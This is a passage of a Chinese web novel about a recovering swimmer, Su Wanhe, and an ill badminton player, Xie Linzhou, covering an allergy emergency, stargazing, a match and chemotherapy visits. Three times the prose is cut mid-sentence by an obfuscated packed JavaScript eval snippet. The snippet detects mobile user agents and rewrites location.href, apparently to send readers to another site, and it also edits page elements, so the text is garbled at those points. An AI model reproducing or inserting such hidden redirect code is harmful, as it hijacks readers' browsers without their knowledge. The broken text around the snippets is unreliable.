两人在书桌旁坐下，安静地喝粥。 粥确实很鲜，米煮得软烂，海鲜也嫩。 苏晚禾喝了几口，抬眼看他：“好喝吗？” “好喝。”谢临洲说，“谢谢。” “不客气。”苏晚禾笑了，“下次我再学别的。” 喝完一碗，谢临洲又盛了一碗。 苏晚禾注意到他吃得很慢，但把一碗都喝完了。 “够吗？还有。”她说。 “够了。”谢临洲放下碗，“很好吃。” 两人聊了会儿天，主要是苏晚禾讲康复操在疗养院的受欢迎程度，谢临洲安静地听。 九点半，苏晚禾起身告辞。 “保温桶我明天来拿。”她说。 “好。” “那你早点休息。” “嗯。” 离开谢临洲家，苏晚禾心情很好。 她哼着歌回疗养院，路上还在想下次煮什么，鱼汤？鸡汤？还是排骨汤？ 凌晨两点，她被手机铃声吵醒。 迷迷糊糊接起来，电话那头是谢临洲的声音，比平时更低沉：“苏晚禾......” “怎么了？”她瞬间清醒。 “我......不太舒服。”谢临洲的声音有些喘，“我好像过敏，起了疹子，痒，呼吸也有点......困难。” 苏晚禾猛地坐起来：“你海鲜过敏？” “可能......” “我马上过来！” 她抓起外套冲出门，一路跑到镇西。 谢临洲家门没锁，她推门进去，看见他坐在床边，呼吸急促，脸上、脖子上都起了大片红疹。 “你吃药了吗？”苏晚禾冲过去。 “吃了抗过敏药......没用。”谢临洲说话有点费力。 “去医院！”苏晚禾当机立断，“能走吗？” “应该......” 她扶他站起来。 谢临洲脚步虚浮，几乎靠在她身上。 苏晚禾咬咬牙，半扶半架地带着他往外走。 凌晨的街道空无一人。 云港镇医院在码头附近，走路要十五分钟。 苏晚禾扶着谢临洲，走得很慢。 她能感觉到他全身都在发烫，呼吸越来越急。 “坚持住，快到了。”她不停地说。 终于到了医院急诊室。 值班医生一看谢临洲的情况，立刻安排抢救。 “海鲜过敏，喉头水肿，要上激素和肾上腺素。”医生快速说着，护士开始准备药物。 苏晚禾被拦在抢救室外。 她坐在走廊的长椅上，看着门上的红灯亮起，脑子里一片空白。 都怪她。 如果不是她煮海鲜粥，他就不会过敏。 如果不是她自作主张送什么补品，他现在应该好好在家睡觉。 她抱住头，手指插进头发里。 肩膀上的旧伤突然开始疼，但她没在意。 半小时后，医生出来了。 “病人情况稳定了。”医生说，“送得及时，再晚点可能就危险了。你是他家属？” “朋友。”苏晚禾站起来，“我能看他吗？” “在留观室，可以去看，但别太久，他要休息。” 苏晚禾走进留观室。 谢临洲躺在病床上，脸上红疹还没完全退，但呼吸平稳了。 他闭着眼睛，手背上扎着点滴。 她轻轻在床边坐下。 过了几分钟，谢临洲睁开眼睛。 看见她，他微微动了动嘴唇：“你还在。” “嗯。”苏晚禾声音有点哑，“对不起......” “不怪你。”谢临洲说，“我自己也不知道海鲜过敏。” “你应该告诉我的。” “我也不知道。”谢临洲说得很慢，“以前吃海鲜没事。可能是最近免疫力下降，体质变了。” 苏晚禾不说话了。 她看着点滴瓶里的液体一滴一滴往下落，在静夜里发出轻微的声响。 “你回去吧。”谢临洲说，“我没事了。” “我陪你。” “不用。” “我就要陪。” 两人对视了一会儿。 谢临洲叹了口气：“随你。” 后半夜，苏晚禾就坐在病床边。 护士进来查了几次房，看她还在，也没赶她。 凌晨四点，谢临洲睡着了。 苏晚禾靠在椅背上，也迷迷糊糊睡了过去。 早上六点，她被护士叫醒。 “小姑娘，回去休息吧。”护士轻声说，“病人情况稳定，等点滴打完就能出院了。” 苏晚禾揉了揉眼睛：“几点能打完？” “八点左右。” “那我八点再来。” 她回到疗养院，洗了把脸，换了身衣服。 七点半，她去食堂打包了两份早餐，又去了医院。 谢临洲已经醒了，正靠着床头看窗外。 疹子退了不少，但脸色还是不好。 “早餐。”苏晚禾把袋子放在床头柜上，“白粥，馒头，咸菜，绝对没海鲜。” 谢临洲看着她，没说话。 “吃啊。”苏晚禾把粥端出来，“还是你要我喂？” “不用。”谢临洲接过粥碗，慢慢喝起来。 苏晚禾自己也吃了一份。 两人沉默地吃完早餐，护士进来拔针。 “可以出院了。”护士说，“回去注意休息，按时吃药。海鲜暂时别碰了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930145|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “知道了，谢谢。” 离开医院，两人慢慢往回走。 早晨的阳光很好，海风清爽。 “对不起。”苏晚禾又说了一遍。 “你已经说过了。”谢临洲说，“而且粥真的很好喝。” “差点害死你的粥？” “除了让我进医院这部分，其他都很好。” 苏晚禾被他逗笑了，但笑到一半又想哭。 她别过头，吸了吸鼻子。 “我真的吓死了。”她小声说。 “我知道。”谢临洲说，“我也吓到了。” 走到谢临洲家楼下，苏晚禾说：“这几天我每天来给你送饭，直到你完全好。” “不用......” “用。”苏晚禾很坚持，“我要赎罪。” 谢临洲看了她一会儿，点点头：“好。” 接下来三天，苏晚禾真的每天来送饭。 早餐是疗养院食堂的包子馒头，午餐是她自己学着做的清淡小菜，晚餐是张阿姨帮忙熬的各种汤——鸡汤、排骨汤、蔬菜汤，绝对没有海鲜。 谢临洲恢复得很快，疹子第二天就退了，只是人还有点虚。 第三天晚上，苏晚禾送完饭准备走，谢临洲叫住她。 “这个给你。”他递过来一个小盒子。 苏晚禾打开，里面是一个小小的海豚挂坠，银色的，做工精致。 “这是......” “谢礼。”谢临洲说，“谢谢你照顾我。” “可我害你进医院了......” “那也是因为我自己的体质。”谢临洲说，“而且，你煮的粥确实是我这段时间吃过的最好的东西。” 苏晚禾看着手里的海豚挂坠，眼眶有点热。 “我给你戴上？”谢临洲问。 “嗯。” 谢临洲拿起挂坠，走到她身后。 他的手指碰到她的后颈，有点凉。 扣好扣子，海豚挂坠垂在她锁骨下方，凉凉的。 “好看吗？”苏晚禾低头看。 “好看。” 两人都沉默了。 窗外传来海鸥的叫声。 “下周我就能去球馆了。”谢临洲说。 “急什么，多休息几天。” “躺够了。”谢临洲说，“再躺下去，关节都僵了。” “那......下周一？”苏晚禾问。 “下周一。” 离开谢临洲家，苏晚禾慢慢走回疗养院。 她摸着胸前的海豚挂坠，金属已经被她的体温捂暖了。 回到房间，她坐在桌前，拿出日记本，这是她来云港后开始写的，断断续续。 今天她写了很多： “差点害谢临洲出事。吓死我了。 但他不怪我，还送我礼物。 海豚挂坠，很漂亮。 他说粥很好喝。 下次我要学更多菜，但要先确认他不吃什么。 不能再让他进医院了。 绝对不能。” 写完，她合上日记本，看向窗外。 夜色渐深，灯塔的方向亮着微弱的光。 她想，等谢临洲完全好了，他们还要去看星星，去打球，去游泳。 还要完成漂流瓶的愿望清单。 还要做很多很多事。 她摸了摸海豚挂坠，笑了。 而在镇西的旧居民楼里，谢临洲也在日记本上写： “海鲜过敏进医院。 苏晚禾送来的。 她守了一夜。 这几天她天天来送饭。 送我海豚挂坠当谢礼。 其实该说谢谢的是我。 谢谢她在意我。 谢谢她照顾我。 谢谢她......还在。 下周去球馆。 继续教她打球。 继续。” 写完，他放下笔，看向桌上的座头鲸玩偶。 玩偶的黑眼珠在台灯下反着光，像是在看他。 他轻声说：“我没事。” 窗外，潮声温柔。 一夜安眠。 14. 秋·靠近 周一下午三点，苏晚禾推开旧球馆的门，看见谢临洲已经在做热身了。 他恢复得不错，脸色虽然还有点苍白，但动作已经恢复往日的流畅。 看见她进来，他点了点头：“来了。” “教练好！”苏晚禾故意大声说，“今天学什么？” “高远球进阶。”谢临洲拿起球拍，“上周教你基础动作，这周练落点控制。” 他走到场地一端，发了个高远球。 球划出漂亮的弧线，精准地落在对面场地的底线附近。 “要控制球落在哪个区域。”谢临洲说，“单打时，尽量把球打到对方后场两个角落，调动对方跑动。” 苏晚禾试了试。 第一个球出界了，第二个球太短，第三个球总算落在后场，但位置很正。 “别急。”谢临洲把球捡回来，“想象场地上有九个格子，像九宫格。你要打到特定的格子里。” 这个比喻让苏晚禾想起了泳池的泳道线。 她点点头，继续练习。 练了半小时，她渐渐找到了感觉。 球开始听话了，虽然还不能精确控制，但至少不会乱飞。 休息时，两人坐在墙边喝水。 苏晚禾突然想起什么：“对了，你上周说这周教我认秋季星座？” “嗯。”谢临洲看了眼窗外，“今晚天气好，适合观星。” “在灯塔？” “在灯塔。” 晚上七点半，苏晚禾准时到达灯塔。 谢临洲已经到了，正在调试望远镜。 塔顶的桌子上摊开了一张大大的星图，上面密密麻麻标着星座和星星的名字。 “这么多啊。”苏晚禾凑过去看。 “秋季星空主要星座有飞马座、仙女座、英仙座，虽然英仙座流星雨过了，但星座还在。”谢临洲指着星图，“还有水瓶座、双鱼座、鲸鱼座......” “鲸鱼座？”苏晚禾眼睛一亮，“和真的鲸鱼有关系吗？” “没有，只是个名字。”谢临洲说，“古希腊神话里的海怪，被英雄珀尔修斯杀了，就成了星座。” “哦......”苏晚禾有点失望，“我还以为有什么浪漫故事呢。” “星座故事大部分都是打打杀杀。”谢临洲说，“浪漫的不多。” 他调好望远镜：“先看飞马座。看见那个大方块了吗？” 苏晚禾凑近目镜。 夜空中，四颗亮星组成一个明显的四边形。 “那就是飞马座的主要特征，飞马座四边形。”谢临洲说，“从那里可以找到其他星座。” 他教她如何用飞马座定位仙女座，再用仙女座找英仙座。 苏晚禾努力记着，但星星太多了，她很快就搞混了。 “我记不住。”她直起身，揉了揉眼睛，“这些星星长得都一样。” “每个星座都有特征。”谢临洲耐心地说，“飞马座是大方块，仙女座像个歪斜的W，英仙座像个人举着剑......” “还是记不住。”苏晚禾叹了口气，“我能用我的方法记吗？” “什么方法？” 苏晚禾看着星图，突然灵机一动：“游泳姿势！” “什么？” “你看啊，”她指着飞马座，“这四颗星，像不像自由泳的划水轨迹？左臂，右臂，左臂，右臂......”她在空中比划着，“然后仙女座那个W，像蛙泳的腿部动作，收，翻，蹬，夹......” 她越说越兴奋：“英仙座那个举剑的姿势，像蝶泳的出发动作！还有那个......那个什么座来着？” “水瓶座。” “对，水瓶座！像仰泳的转身蹬壁！” 谢临洲看着她手舞足蹈地比划，眼里渐渐有了笑意。 “所以，”苏晚禾总结，“我可以用游泳姿势记星座。看见自由泳轨迹就是飞马座，看见蛙泳腿就是仙女座，看见蝶泳出发就是英仙座。” “那你游个仰泳我看看？”谢临洲说。 “仰泳是......”苏晚禾想了想，“水瓶座！你看那几颗星连起来，是不是像人在水里仰着游？” 她指着星图上水瓶座的连线。 别说，还真有点像。 谢临洲忍不住笑了：“你这方法......很独特。” “但管用啊。”苏晚禾得意地说，“你要不要试试？这样记很快的。” “好，你教我。” 接下来半小时，苏晚禾当起了“星座游泳教练”。 她对着星图，把每个星座都编成了对应的泳姿，还配上动作讲解。 “这颗星到这颗星，是划水路径，要用核心发力......” “这里转身，要快，要干脆......” “这里打腿，频率要快......” 谢临洲认真听着，居然真的记住了几个。 当苏晚禾问他“那个像蛙泳腿的是什么座”时，他很快回答：“仙女座。” “对了！”苏晚禾鼓掌，“看，很管用吧？” “嗯。”谢临洲点头，“很管用。” 九点左右，他们结束了“星座课”。 谢临洲开始收拾设备，苏晚禾趴在窗边看海。 夜色中的海面黑沉沉的，只有月光照出一片银色的波光。 “谢临洲。”她突然说。 “嗯？” “我们玩个游戏吧。” “什么游戏？” “游泳接力。”苏晚禾转过身，“但不是真的游泳。我们想象一个接力赛，你游第一棒，我游第二棒。你描述你的动作，我描述我的动作，看我们能不能‘游’完一个完整的接力。” 谢临洲看着她发亮的眼睛，点了点头：“好。” “那你先来。”苏晚禾站直，“你是自由泳对吧？出发！” 谢临洲想了想，开始描述：“出发台，弯腰，准备......笛声！蹬台，入水，水下滑行......出水，开始划水。左臂，右臂，呼吸，左臂，右臂......” 他描述得很细致，像真的在游。 苏晚禾闭上眼睛，想象那个画面：谢临洲在水里，手臂划开水面，水花四溅。 “到边了。”谢临洲说，“触壁，转身，蹬壁......第二棒交给你。” 苏晚禾睁开眼睛：“接棒！我是蝶泳。” 她开始描述：“入水，海豚式打腿，出水，第一次划臂——啪！第二次划臂——啪！呼吸，低头，继续......” 她一边说一边做动作，虽然幅度很小，但能看出蝶泳的韵律。 谢临洲静静看着，眼神专注。 “到边了！”苏晚禾说完最后一个动作，喘了口气，“怎么样？我们‘游’完了。” “游得很好。”谢临洲说。 “那是，我们可是专业运动员。”苏晚禾擦了擦额头上不存在的汗，“虽然是想象的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930146|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 两人都笑了。 塔顶很安静，只有海风和远处潮声。 “其实我挺想看你真的游泳。”谢临洲突然说。 “等我能游了，第一个表演给你看。”苏晚禾说，“五十米自由泳，你计时。” “好。” “那你呢？”苏晚禾问，“你想再打一次真正的比赛吗？” 谢临洲沉默了几秒：“想。但可能没机会了。” “为什么？” “体力跟不上。”谢临洲说得很平静，“打一局完整的比赛需要很好的体能，我现在......做不到。” 苏晚禾想起他在球馆对着墙一遍遍挥拍的样子，心里一紧。 “那就在想象里打。”她说，“就像我们刚才‘游泳’一样。” 谢临洲看着她。 “我们可以想象一场比赛。”苏晚禾继续说，“你描述你的每一个球，我当你的对手。我们‘打’一场。” “现在？” “现在。” 谢临洲想了想，拿起球拍，虽然只是空挥。 他站到场地中央，虽然塔顶没有场地线。 “发球。”他说，“高远球，到对方后场。” 苏晚禾站到他对面：“我接球，吊网前。” “我上网，搓球。” “我挑后场。” “我后退，杀球——” 他做了一个杀球动作，手臂用力下压。 虽然是空挥，但动作标准，力量感十足。 苏晚禾想象那颗球重重地砸在地上。 “得分。”她说。 谢临洲放下球拍，微微喘气。 只是几个动作，他已经有点累了。 “休息一下。”苏晚禾说。 他们又坐回垫子上。 苏晚禾看着谢临洲苍白的脸，突然说：“等你好一点，我们真的打一场吧。就打几个球，不计分，就打着玩。” “好。”谢临洲说。 那晚他们待到很晚。 离开灯塔时，苏晚禾抬头看了看星空。 现在她能认出飞马座和仙女座了，用她的“游泳姿势记忆法”。 “下周还来吗？”她问。 “来。”谢临洲说，“教你认冬季星座。” “冬季有什么？” “猎户座，金牛座，双子座......”谢临洲顿了顿，“还有天狼星，夜空中最亮的恒星。” “那我要提前想好对应的泳姿。”苏晚禾说，“猎户座......像混合泳？四种泳姿都有？” “你可以慢慢想。” 走到岔路口，两人分开。 苏晚禾回疗养院的路上，一直在抬头看星星。 夜空很清晰，她找到了飞马座的大方块，然后顺着找到了仙女座。 真的像蛙泳腿。 她笑了。 回到房间，她在日历上做了标记：周三，灯塔，冬季星座。 然后她拿出笔记本，画了几个歪歪扭扭的星座图，旁边标注着对应的泳姿。 画到一半，她停下来，看着窗外。 灯塔的方向有微弱的光。 她想，等冬天来了，他们要一起看猎户座。 等春天来了，也许她的肩膀就好了，可以真的游泳了。 等夏天再来的时候...... 她没继续想下去。 窗外，潮声温柔。 一夜好梦。 15. 秋·靠近 周五下午两点，苏晚禾准时推开旧球馆的门。 谢临洲已经在热身了，看见她进来，停下动作：“今天不学新内容。” “那干嘛？” “考试。” 苏晚禾愣了一下：“什么考试？” “看看你学得怎么样。”谢临洲递给她球拍，“我们打一场。七个球，谁先到七谁赢。” 苏晚禾接过球拍，有点紧张：“可我就会那么几招......” “够了。”谢临洲走到场地另一边，“发球。” 苏晚禾深吸一口气，站到发球线后。 她按照谢临洲教的方法：侧身，举拍，抛球，击球。 球过网了，落点不算深，但至少是个合格的发球。 谢临洲轻松接起，回了个高远球。 球又高又远，苏晚禾赶紧后退，勉强把球打回去。 “脚步太慢了。”谢临洲说，“要预判。” 他又回了个球，这次是网前。 苏晚禾冲上前，勉强把球挑起来。 谢临洲一跃而起——杀球。 球重重地砸在她脚边。 “1:0。”谢临洲说。 苏晚禾咬了咬嘴唇：“继续。” 第二球，她发了个质量不错的球。 谢临洲回了个平高球，她侧身接住，回了个斜线。 两人打了几个回合，最后苏晚禾一个失误，球出界了。 “2:0。” 第三球，苏晚禾开始找到感觉了。 她注意到谢临洲的回球路线——总是打到她最不舒服的位置，逼她移动。 她试着提前移动，果然接得更轻松了。 这一球打了十几个回合，最后苏晚禾抓住机会，一个轻吊网前得分。 “2:1！”她兴奋地跳起来。 谢临洲点点头：“有进步。” 接下来的比赛变得激烈起来。 苏晚禾逐渐适应了节奏，脚步移动更快了，回球也更稳定。 谢临洲明显收了力，但他的经验和技术还是碾压级的。 比分交替上升：3:1，3:2，4:2，4:3...... 第六球时，苏晚禾打出了一个漂亮的回球——谢临洲杀球，她居然接住了，还回了个后场球。 谢临洲跑到位，回了个网前。苏晚禾上网，轻轻一挑—— 球擦着网过去，落在谢临洲的场地里。 “4:4！”她喘着气喊。 最后一个球。 苏晚禾发球，谢临洲回了个特别刁钻的角度。 她侧身救球，勉强把球打回去。 谢临洲再次杀球—— 这次她没接住。 球重重砸在地上，弹起，滚到场边。 “5:4。”谢临洲说，“我赢了。” 苏晚禾撑着膝盖喘气。 她浑身是汗，肩膀酸得厉害，但心里很畅快。 “我......我打得怎么样？”她抬头问。 “很好。”谢临洲走过来，“脚步比刚开始快多了，回球也有想法。就是体力差了点，打到后面动作变形了。” “那你呢？”苏晚禾直起身，“你没用全力吧？” “用了七成。”谢临洲诚实地说。 “才七成？”苏晚禾瞪大眼睛，“那你要用全力，我不是一分都拿不到？” “现在是这样。”谢临洲说，“但你再练三个月，能拿两三分。” “就两三分？” “我是省队主力。”谢临洲说，“你练三个月能从我这拿两三分，已经很不错了。” 苏晚禾想了想，好像也是。 她擦了把汗：“那赌注呢？赛前你说谁赢谁可以提一个要求。” 谢临洲顿了顿：“我还没想好。” “那先欠着。”苏晚禾说，“等你想好了告诉我。” 两人在场边坐下喝水。 球馆里很安静，只有他们的呼吸声和远处隐约的海浪声。 “你的体力......”苏晚禾犹豫了一下，“是不是比之前更差了？” 谢临洲沉默了几秒：“嗯。最近容易累。” “因为过敏吗？” “不是。”谢临洲说，“病情有进展。” 他说得很平静，但苏晚禾心里却像被什么东西攥紧了。 “那......治疗呢？” “在做。”谢临洲说，“但效果不明显。” 苏晚禾不知道该说什么。 她低头看着手里的水瓶，塑料瓶身上凝结的水珠一颗颗滑下来。 “下周一我复查。”谢临洲突然说。 “什么时候？” “上午。” “我陪你去？” 谢临洲看了她一眼：“你不是要复健吗？” “可以请假。”苏晚禾说，“王医生会理解的。” 谢临洲想了想，点点头：“好。” 周一早上八点半，苏晚禾在疗养院门口等谢临洲。 他准时出现，穿着简单的白衬衫和黑裤子，手里拿着病历袋。 “紧张吗？”苏晚禾问。 “习惯了。”谢临洲说。 两人走到镇医院。 今天人不多，很快就叫到了谢临洲的号。 苏晚禾坐在走廊的长椅上等，看着墙上的健康宣传海报。 半小时后，谢临洲出来了，手里拿着几张新开的检查单。 “怎么样？”苏晚禾站起来。 “要做几个检查。”谢临洲看了眼单子，“血常规，CT，骨扫描。” “现在做？” “嗯。” 他们先去抽血。 护士手法很熟练，针扎进谢临洲手臂时，他连眉头都没皱一下。 苏晚禾却看得心里一紧。 接着是CT室。 谢临洲进去前，回头看了她一眼：“你在外面等，很快。” 门关上了。 苏晚禾在走廊里来回踱步，墙上的时钟指针走得很慢。 十五分钟后，门开了。 谢临洲走出来，脸色比进去前更苍白。 “还好吗？”苏晚禾上前扶他。 “有点晕。”谢临洲说，“造影剂反应。” 他们在椅子上坐了一会儿。 等谢临洲缓过来，又去了核医学科做骨扫描。 这个检查时间更长，要等放射性药物在体内分布。 “你先回去吧。”谢临洲说，“这个要等两小时。” “我陪你等。” “不用......” “我就要陪。” 谢临洲看着她坚持的表情，叹了口气：“随你。” 等待室里有几个同样做检查的病人。 有的在看书，有的在玩手机，有的闭目养神。 苏晚禾和谢临洲坐在角落里，小声聊天。 “你平时在医院都做什么？”苏晚禾问。 “看书，听音乐，或者就是发呆。”谢临洲说，“有时候看窗外的树。” “树？” “医院院子里有棵老槐树。”谢临洲说，“我每次来都看它，看它叶子绿了又黄，黄了又落，落了又绿。” 苏晚禾想象那个画面：谢临洲坐在医院里，看着窗外一棵树，日复一日。 “你......害怕吗？”她轻声问。 谢临洲沉默了很久。 “有时候怕。”他终于说，“特别是晚上疼得睡不着的时候。但大部分时间......习惯了。” “习惯什么？” “习惯可能没有未来的生活。” 这话说得很轻，但落在苏晚禾耳朵里很重。 她想说什么，却发不出声音。 广播叫到谢临洲的名字。他站起来：“该我了。” 骨扫描做了四十分钟。 出来时，谢临洲看起来很疲惫。 “回家吧。”苏晚禾说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930147|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯。” 回去的路上，两人走得很慢。 阳光很好，街上人来人往，一切都是平常的样子。 但苏晚禾觉得，有什么东西不一样了。 走到谢临洲家楼下，她停下脚步。 “结果什么时候出来？” “后天。” “我来陪你拿。” 谢临洲看着她，眼神很复杂。 他张了张嘴，想说不用，但最终只是点了点头：“好。” “那后天见。” “后天见。” 苏晚禾看着谢临洲上楼，直到他房间的灯亮起，才转身离开。 回到疗养院，她没回房间，直接去了泳池。 下午的泳池没人，她换了泳衣下水。 水很凉，她打了个哆嗦。 然后她开始慢慢地游——不是复健的那种慢动作，而是真正的游泳，虽然速度很慢，动作幅度很小。 自由泳。 左臂划水，右臂划水，呼吸。 她游了一个来回，五十米。 肩膀有点酸，但不疼。 她趴在池边喘气，看着水面上的波光。 她想，等谢临洲的检查结果出来，如果是好消息，她就告诉他，她能游了。 如果是坏消息......她也告诉他，她能游了。 至少给他一点好消息。 周三下午，苏晚禾陪谢临洲去医院拿结果。 医生办公室里，主治医生看着电脑上的影像，表情严肃。 “病灶有进展。”医生指着屏幕，“这里，还有这里，新出现了几个高代谢区域。” 谢临洲静静地听着，脸上没什么表情。 “化疗方案需要调整。”医生说，“下个月开始新疗程，强度会更大，副作用也会更明显。你要有心理准备。” “明白。” “另外......”医生停顿了一下，“疼痛如果加剧，要及时说，我们可以调整止痛方案。” “好。” 从办公室出来，苏晚禾一直沉默。 走到医院门口，她才开口：“新疗程......会很辛苦吗？” “嗯。”谢临洲说，“但习惯了。” 又是习惯了。苏晚禾心里堵得慌。 “下个月什么时候开始？” “下周三。” “我陪你去。” 这次谢临洲没拒绝。 他们走回镇西。 路上经过旧球馆，谢临洲停下脚步。 “进去坐坐？”他问。 “好。” 球馆里还是老样子，空荡，安静。 两人在场地中央坐下，背靠着背。 “苏晚禾。”谢临洲突然说。 “嗯？” “我赢了比赛，可以提要求，对吧？” “对。” “我的要求是......”谢临洲顿了顿，“陪我复查。以后每次复查，都陪我。” 苏晚禾愣住了。 “就这个？” “就这个。” 她鼻子一酸，用力点头：“好。我陪你。每次都陪你。” 两人安静地坐着。 阳光从破旧的窗户照进来，在地上投出斑驳的光影。 远处传来海鸥的叫声，和海浪的声音。 “苏晚禾。”谢临洲又叫她。 “又干嘛？” “等我好一点，我们再打一场。” “好。”苏晚禾说，“到时候我一定赢你。” 谢临洲很轻地笑了：“我等着。” 他们在球馆坐到太阳西斜。 离开时，苏晚禾回头看了一眼。 空荡的场地，斑驳的墙壁，破旧的球网。 但她记住了今天的比赛，记住了比分，记住了每一个球。 也记住了谢临洲的要求。 陪他复查。 每次都陪。 她会的。 16. 秋·靠近 周三清晨，谢临洲在镇医院门口等苏晚禾。 他穿着宽松的灰色运动服，左手腕上戴着住院腕带，右手拎着一个小小的行李包。 天刚蒙蒙亮，晨风带着海水的咸湿气息，街上行人稀疏。 苏晚禾从疗养院方向跑来，气喘吁吁地在他面前刹住车：“没、没迟到吧？” “没有。”谢临洲看了眼手表，“还早。” 今天是他新化疗疗程的第一天，需要办理住院手续。 苏晚禾昨天就跟王医生请了假，说要陪朋友一整天。 “东西都带齐了吗？”她问。 “齐了。” “书呢？” “带了。” “耳机？” “带了。” “毯子？” “带了。”谢临洲忍不住笑了，“你问得比我妈还细。” “那当然，我是你的......”苏晚禾卡壳了，想不出合适的词，“......陪护专员。” 两人走进医院。 住院部在五楼，肿瘤科病区。 走廊里弥漫着消毒水的气味，护士站的电子屏上滚动着患者姓名和床号。 谢临洲被安排在23床，靠窗。 病房里还有两个患者，都是中年人，正在看早间新闻。 “你先坐，我去办手续。”护士对谢临洲说，又看了眼苏晚禾，“家属？” “朋友。”苏晚禾说。 “那麻烦你在外面等会儿，医生要查房。” 苏晚禾点点头，退到走廊。 她靠在墙边，看着护士进进出出，听着病房里隐约的交谈声。 这里的空气比楼下更沉重，每个人脸上都带着相似的疲惫。 半小时后，护士出来叫她：“可以进去了。” 谢临洲已经换上了病号服，靠坐在床头。 护士正在给他扎留置针，准备输液。 针头刺进手背的血管时，他微微皱了下眉，但很快恢复平静。 “今天先输保肝保胃的药，下午开始化疗药。”护士调整着滴速，“有什么不舒服及时说。” “好。” 护士离开后，病房里安静下来。 谢临洲闭上眼睛，似乎在休息。 苏晚禾在床边的椅子上坐下，不知道该做什么。 “你可以回去。”谢临洲闭着眼睛说。 “我不。” “会很无聊。” “我不怕无聊。” 谢临洲睁开眼看了看她，没再说话。 输液持续了三个小时。 苏晚禾从背包里掏出书，她特意带的一本海洋生物图鉴，想着谢临洲会喜欢。 但她自己先看了起来，碰到有趣的地方就轻声读给他听。 “你知道吗，章鱼有三个心脏。” “嗯。” “蓝鲸的舌头比一头大象还重。” “嗯。” “海豚睡觉时只有一半大脑休息，另一半保持警惕。” “嗯。” 她读着读着，发现谢临洲呼吸变得均匀——他睡着了。 苏晚禾放下书，看着他。 睡着的谢临洲看起来更年轻，也更脆弱。 睫毛在眼睑下投出浅浅的影子，嘴唇没什么血色。 留置针的手背已经有些肿，皮肤透出青紫色的血管。 她轻轻站起来，给他掖了掖被角。 下午一点，化疗药开始输注。 护士来交代注意事项：“可能会恶心、呕吐，如果吐了要及时清理。胃口不好也要尽量吃，可以少食多餐。” 谢临洲点点头，表情平静，像是早就知道这些。 药水滴得很慢，要持续四个小时。 苏晚禾继续给他读书，但他精神明显差了，经常听着听着就闭上眼睛。 三点左右，谢临洲第一次出现反应。 他突然坐起来，脸色煞白，苏晚禾赶紧把垃圾桶递过去。 他干呕了几声，没吐出什么，但额头上全是冷汗。 “要叫护士吗？”苏晚禾紧张地问。 “不用。”谢临洲声音沙哑，“正常的。” 他重新躺下，闭着眼睛，胸口微微起伏。 苏晚禾用湿毛巾给他擦汗，动作很轻。 四点半，输液终于结束。 护士拔掉针头，谢临洲的手背已经肿起一个包。 “冰敷一下。”护士递来冰袋，“明天继续。” 谢临洲用左手按住冰袋，右手无力地垂在床边。 他看起来很累，连说话的力气都没有。 “睡会儿吧。”苏晚禾轻声说。 他点点头，闭上眼睛。 苏晚禾坐在床边，看着窗外。 天色渐渐暗下来，病房里开了灯。 另外两个患者在看电视，音量调得很小。 六点，谢临洲醒来。 他看起来稍微好了些，但脸色依然苍白。 “饿吗？”苏晚禾问。 “不饿。” “多少吃点？” 谢临洲摇摇头。 苏晚禾还是从包里拿出保温桶，这是她趁着谢临洲睡觉的时候去买的。 “就吃几口。”她把粥盛出来，“不吃东西会更难受。” 谢临洲勉强坐起来，接过碗。 他吃得很慢，像在完成什么艰难的任务。 苏晚禾在旁边看着，心里难受，但脸上保持微笑。 “好吃吗？” “嗯。” “那再吃两口。” 谢临洲真的又吃了两口，然后放下碗：“饱了。” 苏晚禾没再勉强。 她收拾好碗筷，看了眼窗外已经完全暗下来的天色。 “你该回去了。”谢临洲说。 “还早。” “晚了不安全。” “我......” “回去吧。”谢临洲看着她，“明天再来。” 苏晚禾咬了咬嘴唇，点点头：“那我明天早上来。” “好。” 离开病房时，苏晚禾回头看了一眼。 谢临洲靠坐在床头，看着窗外。 病房的灯光在他脸上投下阴影，整个人显得很孤单。 回到疗养院，苏晚禾直接去了厨房。 张阿姨正在收拾，看见她，关切地问：“你朋友怎么样？” “不太好。”苏晚禾说，“化疗反应很大，吃不下东西。” “正常，都这样。”张阿姨叹了口气，“你明天还去？” “去。” “那我想想做什么容易入口的......”张阿姨想了想，“山药粥？或者蒸蛋羹？” “都行，谢谢阿姨。” 第二天早上七点，苏晚禾带着山药粥到了医院。 谢临洲看起来比昨天更差，眼下一片青黑。 “没睡好？”她问。 “嗯。”谢临洲简短地回答，“疼。” 苏晚禾心里一紧，但没表现出来。 她把粥倒出来：“先吃点东西，等下还要输液。” 今天的流程和昨天一样，只是谢临洲的反应更严重了。 